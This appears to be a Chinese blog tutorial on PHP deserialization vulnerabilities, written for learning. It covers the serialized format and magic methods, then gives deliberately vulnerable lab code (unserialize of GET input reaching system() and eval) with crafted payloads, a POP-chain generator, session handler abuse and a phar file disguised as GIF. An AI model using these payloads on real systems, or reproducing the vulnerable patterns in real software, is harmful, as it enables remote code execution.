php反序列化初探

VSole2023-04-23 09:50:02

什么是反序列化

php反序列化中
序列化:对象信息转化为字符串
反序列化:字符串转化为对象信息
作用:便于传输和存储

php序列化简述

php
class S{
    public $test="e0mlja";
    var $url;
    function setUrl($par){
     $this->url = $par;
  }
}
$s=new S();
$s->setUrl("http://123.com");
echo serialize($s);
?>
上述的example中,打印一下结果如下
O:1:"S":2:{s:4:"test";s:6:"e0mlja";s:3:"url";s:14:"http://123.com";}
分析一下代表的意思
O:对象
1:数量,代表1个
"S":这个对象(类)的名称,为s
2:对象里面有两个变量,内部的变量用{}包围
s:数据类型,这里为string
4:长度,代表4个长度
test:变量的名字
s:数据类型
6:变量的值的长度
e0mlja:变量的值的值
后续的url可以依次类推

php修饰符影响

class A{
    private $test = "whoami1";
    protected $test1 = "whoami2";
    public $test2 = "whoami3";
}
$a=new A();
echo serialize($a);
?>
private 前面多了一个A,也就是多了一个类名,长度为7,其实构造方式为%00类名%00成员名
protected 前面多了一个* 长度为8 构造方式为%00*%00成员名

php反序列化简述

class S{
    public $test="e0mlja";
    var $url;
    function setUrl($par){
     $this->url = $par;
  }
}
$s=new S();
$s->setUrl("http://123.com");
echo serialize($s);
$u=unserialize('O:1:"S":2:{s:4:"test";s:6:"e0mlja";s:3:"url";s:14:"http://123.com";}');
var_dump($u);
?>
看下面的结果,能够看到unserialize是还原了序列化的字符串

php中的反序列化漏洞

通过控制php中的魔术方法,传入构造的恶意反序列化后的字符串,通过魔术方法触发反序列化漏洞,执行我们的恶意代码。
注意反序列化构造的类名必须和源码中的一致,不能新生成一个类名。
漏洞前提:
1.unserialize的参数可控
2.有可以利用的魔术方法

常用魔术方法

__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 当对象被当作字符串输出的时候自动触发
__invoke() 当脚本尝试将对象调用为函数时触发

简单的反序列化漏洞

class A{
    var $test = "demo";
    function __destruct(){
        @system($this->test);
    }
}
$test = $_GET['test'];
$test_unser = unserialize($test);
?>
利用过程
1.生成反序列化字符串
class A{
    var $test = "whoami";
}
$a=new A();
echo serialize($a);
?>
2.发送数据
http://127.0.0.1/1.php?test=O:1:%22A%22:1:{s:4:%22test%22;s:6:%22whoami%22;}
3.获取结果

中等复杂的反序列化利用

    class A{
        public $target;
        function __construct(){
            $this->target = new B;
        }
        function __destruct(){
            $this->target->action();
        }
    }
    class B{
        function action(){
            echo "action B";
        }
    }
    class C{
        public $test;
        function action(){
            echo "action A";
            eval($this->test);
        }
    }
    unserialize($_GET['test']);
?>
利用分析
(1)反序列化的传参为test,test可以传入序列化后的字符串
(2)调用的结果在于classC中的eval方法造成代码执行
(3)执行eval方法需要调用action()方法(非自动调用所以需要找触发点),action()方法的调用可以再ClassA的__destruct中调用
(4)根据分析结果写出来一个利用的pop链子
php
class A{
        public $target;
        function __destruct(){
            $this->target = new C();
            $this->target->action();
        }
    }
 class C{
        public $test="phpinfo();";
        function action(){
            @eval($this->test);
        }
    }
$a=new A();
echo serialize($a);
?>

session反序列化

参考
https://xz.aliyun.com/t/6753
代码1
php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
此文件的作用主要是设置session的值,可以通过session get方式传参设置
代码2
php
  error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
    class e0m{
    public $name = 'e0m';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '
'.$this->name;
    }
  }
  $str = new e0m();
  echo serialize($str);
 ?>
此文件的作用主要是验证不同存储方式的session影响
利用过程
访问session1,获取session,session的结果可以再php.ini文件中查看配置的路径
访问hello.php,获取反序列化的结果
修改session文件,将需要反序列化的结果补充到session中,然后访问hello.php

利用的话,可以看一下这个文章
https://cloud.tencent.com/developer/article/2035863

phar

特定于php的压缩文件,类似于java的jar,不经过解压就可以直接访问
要求
php.ini中设置为phar.readonly=Off
php version>=5.3.0

构造一个phar文件

php
    class e0mObject {
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("");
    $o = new e0mObject();
    $phar->setMetadata($o);
    $phar->addFromString("e0m.txt", "test");
    $phar->stopBuffering();
?>

验证反序列化漏洞存在,调用file_get_contents时触发了反序列化,自动调用了__destruct方法。

 class e0mObject {
        public function __destruct() {
            echo 'success';
        }
    }
$filename = 'phar://phar.phar/e0m.txt';
    file_get_contents($filename);
?>

由于phar文件的php识别只验证了__HALT_COMPILER();?>,可以通过如下$phar->setStub("GIF89a"."");将文件修改为Gif格式,然后利用phar伪协议进行进一步的利用。

寻找反序列化漏洞

(1)寻找参数可控的unserialize()触发点
(2)寻找合适的漏洞点,比如存在eval,file等相关操作的魔术方法
(3)通过魔术方法一系列的调用,构造出一条调用栈
(4)根据调用栈写出payload

总结

php的反序列化还是需要多动手,多梳理一下流程,和java有相似之处,但是寻找调用点还需要经验等。
phpsession
本作品采用《CC 协议》,转载必须注明作者和本文链接
在一次浏览某推中发现了发现了了一个web challenge的赏金ctf,这里从来学习一下由于使session_start()报错引发的危害。page=showMeTheCode程序分析index.php define; class Session{ public static $id = null; protected static $isInit = false; protected static $started = false; public static function start(){ self::$isInit = true; if (!
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。php反序列化简单理解首先我们需要理解什么是序列化,什么是反序列化?本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
下载dll,并添加至ext中在php.ini 中添加该扩展修改configure.ini;?具体步骤通过phpinfo获取扩展信息,根据不同的加密扩展进行尝试利用默认密钥进行加密,通过访问webshell来判断密钥是否正确,当然,这种方法其实只能用于权限维持需要拿到权限后获取扩展文件破解后,才能稳定获取密钥,进而加密webshell
0x01.对比补丁 发现在./yii2/db/中新增了wakeup方法,在wakeup方法中抛出了一个异常。 我们看下__wakeup方法的介绍: unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先...
webshell免杀之传参方式及特征绕过传参方式 在这里解释一下为什么,需要讲述传参方式,由于在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,
前言本次审计的话是Seay+昆仑镜进行漏洞扫描Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';验证码的校验代码if ($_SESSION['verifycode'] !该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。wap/seacher.php昆仑镜扫描利用seay查看源码//这只是一部分,具体的师傅们可自行查看此文件
今天实践的是vulnhub的Presidential镜像,下载地址,https://download.vul
强网杯-WriteUp
2022-08-02 08:02:30
然后使用 admin/123登录管理员账户即可,登录后存在购买页面,经过测试,使用如下 payload 可以绕过检查,再访问主页面即可获得 flag
文件包含利用思路
2021-12-10 21:28:32
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。????为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
VSole
网络安全专家